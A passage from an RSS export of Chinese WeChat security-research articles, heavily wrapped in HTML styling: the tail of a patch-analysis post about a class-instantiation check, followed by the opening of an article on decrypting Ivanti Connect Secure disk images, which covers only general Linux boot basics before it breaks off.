GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Component.__set</span></p><span leaf=""> 函数，里面新增了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__class</span></p><span leaf=""> 参数判断，限定了 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">createObject</span></p><span leaf=""> 中可实例化类的类型：</span></div><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008318" data-ratio="0.34249263984298334" title="null" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2962786d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRVjia1yZRabgSDIy5IPAVTjmCLoJVdNK1K42ibPbn4bWngLe1GfzxyYicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile><mp-style-type data-value="3"></mp-style-type>


<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRgkCmTazpGeCTelsHoaJk07aMFJ0R8b12K1UmRMUjeg5Dl4yyicVwNNg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRtkX9IBPz9YyAn5NIMtjiac4bnw7ntkHKHNELVicibmVX5mlnTmhmDUaAg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRqh8ZZViaXia7vibTQy6mlXribOspVh0enXMdBOvAZL2d08LicnvoQia8Lia3g/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRAl4T77SwMYlhhVwTCiaCuunXmBBppWkMEwYp7Mgl6ULEXjIicTvFzP2Q/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR1Fssx8fByUbhm5PBwCaeUyBQNGUQ8lWVTibJnzh1k8jqA9dpjJKFUjw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR2AqYjLic2wYPxuia24IM36OVLPkWJV8Qg4cFBDLNhtHkCAb99ZuicicLRg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR8tzgwH85jmWbVyIPK91mCZS96IS4NV2YdWGk6ia7wkegCYdsXEc4SMw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRYOIO2NQAicNnbwqNER4UjtpACLI6ymQVKHgQX2SSX3GVG82UBbibLEWQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRfy8uJ1pyGFD8NGkBxAMuEcEfTHCQZicPSYZpJHJGEF3v4mibKmLXZnDA/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkReBmww6HpBM0dh1Dce99EAYic0rQ6DqKJwgBLfBRO5GzYzBwQNcspIUQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRxqzZ8Q35opxmlKoAfiamhnicicgFmy2TgT6p5jtpAMT49fD93OSdzmAPg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkREtzpsGWsib5SVckdAJGSVfu7HbwToibrYqiaiaBF9xRA80CoXzWvZbpCpw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRTic6Ilvmad4sEFGnBPyKf02scsRsL20IicTYCtOYrs7Lhiar1ccURiboDg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRVrgMQyEiboJianaMbVjhpg5uMtmjDArTrapmicO8vC75VPEHDoIAdtIDg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRCX4NibfErCnlSVLBmTKicC9O3ftAELXP0gsumjPdRtC8fjDcpB68ClwA/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRGynzEujulmib2RVhmVGicxtvibIekdvaZqSiccu2GW0VTk6UKibBClJw1qw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRYickyIt9FgPK40lL1vtYk9DF1BnK7bvSQoU9sqrhLibgGkjWswtDsl3A/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRvW4P3Ktq6H2bJU0aWrriaM4Tj4bbBhSibguE7IXHlrib0QCN8Hl3wbI4w/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR28ib1IcrB8nuMlFnMxlcxDtKtzDicGgw3O0jnRS5iaM7aoIictgeSB1Aiag/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRCp7GJ3msbIPiaMLicJOKMrqp2fIIzNBseMEIkPhlDuGCnUvReaEanI0w/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRcG3tAV51yIiaofpsvtVIEueMwDSVjE16j20puianAiao0ahKqcibg0WvmA/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRmAhS2auSNjDq6Yl2SRpABzjKpSiaTicnDz6vBriclUNJQYicRczTaqEbLg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRIS8faStz70RLyxaS1oVaFbaO2Wt1qFuL1ZicwG5qibn5wnmPibfsALL1A/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRicJEYE4GiadfLlL7sSibpFjQEyTqujglCCvc2ZbCFFMnfXo8rlln4rdSw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRkt0db5oOK7CDUawJevUANzJn0E41HPuxLYFrgDbG2k9HFyTicrtmFXQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR6CMXY2khl3XLCc2tjoIJE726tAo9NIZcHOmCgjm8VZloC7gnt5AzhA/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRsoIKr6uqxcMsOQJpg4GszoLre0yF7mLfSXto8VHVZAkrJr6cbXiaCNg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRpKAsNQBPBRiaRxiby3C1L09KrECDiaTcj4KIZWtV2YpsBBkibEzQjcDC4g/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR2o2ickkupVyZNtibs8aa4V4KiaJ5zr0X7Bk2KkgLeoClaXoucEUpiappRw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRic1sBnze4N5uJMrDfGlXIvNT5rqicmpGpN77dSOaa2CuqicEU1HRibGaDQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRE1DzhGY89KicLjfj26j0u9ic0NXTDa8kJ6RwsUzCr7Bsd2lDbHwlE2jA/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRrW691H6x4YcDL1IDloJofkvf2ViaicyPOJoT5B8PvSdwouiav3wucG5BA/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR4ic7nciaIuMLaicNJ1jnT3Le44javQRPVlLscibqSicVvVzVM0avLjKCcTQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkR28fm1Zr9KQIjGx43BE30cpjHlWbF9JKosHAvp6y0DAibwiaOrkrTibctw/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRRZA6icG9E2OLibUvGorHZ9MrPfbw6sxT3tLyeP90NtRhKia3icpaH4MibaQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRzWOBFJiaPh0xNyAO23g5iaic5yLTNMTWxLEOLaw1YIUYumt8DgD9ZwhNQ/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRTicSwFHdtxVr1LuBFtk79xYIthxGadmSrQkSxxoH5IibeGuOTs5QNTHg/640?wx_fmt=png"/></p>
<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRVjia1yZRabgSDIy5IPAVTjmCLoJVdNK1K42ibPbn4bWngLe1GfzxyYicw/640?wx_fmt=png"/></p>



<p><a href="2247492026">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=14018085&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492026%26idx%3D1%26sn%3Da45585cfb3c85bb1d0d2101a1ff10b41%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 11 May 2025 08:01:00 +0800</pubDate>
    </item>
    <item>
      <title>Ivanti Connect Secure加密磁盘镜像取证与解密技术初探</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492025&amp;idx=1&amp;sn=c34e7f10ddda2aaea26dc041eaea0604</link>
      <description>进入设备运行态，获取运行态文件系统数据是目前对网络设备安全性、内部机制研究的第一步。</description>
      <content:encoded><![CDATA[<p>
原创 <span>PCyber</span> <span>2025-05-05 10:13</span> <span style="display: inline-block;">四川</span>
</p>

<p>进入设备运行态，获取运行态文件系统数据是目前对网络设备安全性、内部机制研究的第一步。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=865b2dd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAxTibMssetbldyic7lcg4BMkRbYLsXGoqMwux3HUiax0ly3JvTLOVw4iahicyU2oYPia80iadf0gy9NhKTqQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""><br/></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><section style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span leaf=""><br/></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">引言</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">进入设备运行态，获取运行态文件系统数据是目前对网络设备安全性、内部机制研究的第一步。分析设备的引导启动过程是目前此类研究的关键一步，各大设备厂商提供的云产品镜像，给安全研究员利用qemu、vmware相关产品分析该过程提供了极大的便利，本文总结了一些分析该过程常见的几种操作及思路。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">引导基础知识</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">Linux 系统的引导方法多样，具体取决于硬件架构、固件接口（如 BIOS 或 UEFI）以及用户需求。以下是常见的 Linux 系统引导方法及其特点：</span></p><ol style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><section><span leaf="">1. 传统 BIOS + MBR 引导 适用场景：旧硬件（不支持 UEFI）。 引导流程：</span><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf=""> BIOS 初始化硬件后读取 MBR（主引导记录，位于磁盘的第一个扇区）。</span><span leaf=""><br/></span><span leaf=""> MBR 中的引导程序（如 GRUB Stage 1）加载第二阶段引导程序（如 GRUB Stage 2）。</span><span leaf=""><br/></span><span leaf=""> GRUB 显示菜单供用户选择内核，最终加载 Linux 内核和 initramfs。</span></code></pre><span leaf="">工具：</span><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf=""> GRUB Legacy：旧版 GRUB，已逐渐被 GRUB2 取代。</span><span leaf=""><br/></span><span leaf=""> GRUB2：主流引导加载程序，支持多系统启动和复杂配置。</span><span leaf=""><br/></span><span leaf=""> LILO（Linux Loader）：较老的引导程序，现已较少使用。</span></code></pre></section></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><section><span leaf="">2. UEFI + GPT 引导 适用场景：现代硬件（支持 UEFI 和 GPT 分区表）。 引导流程：</span><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 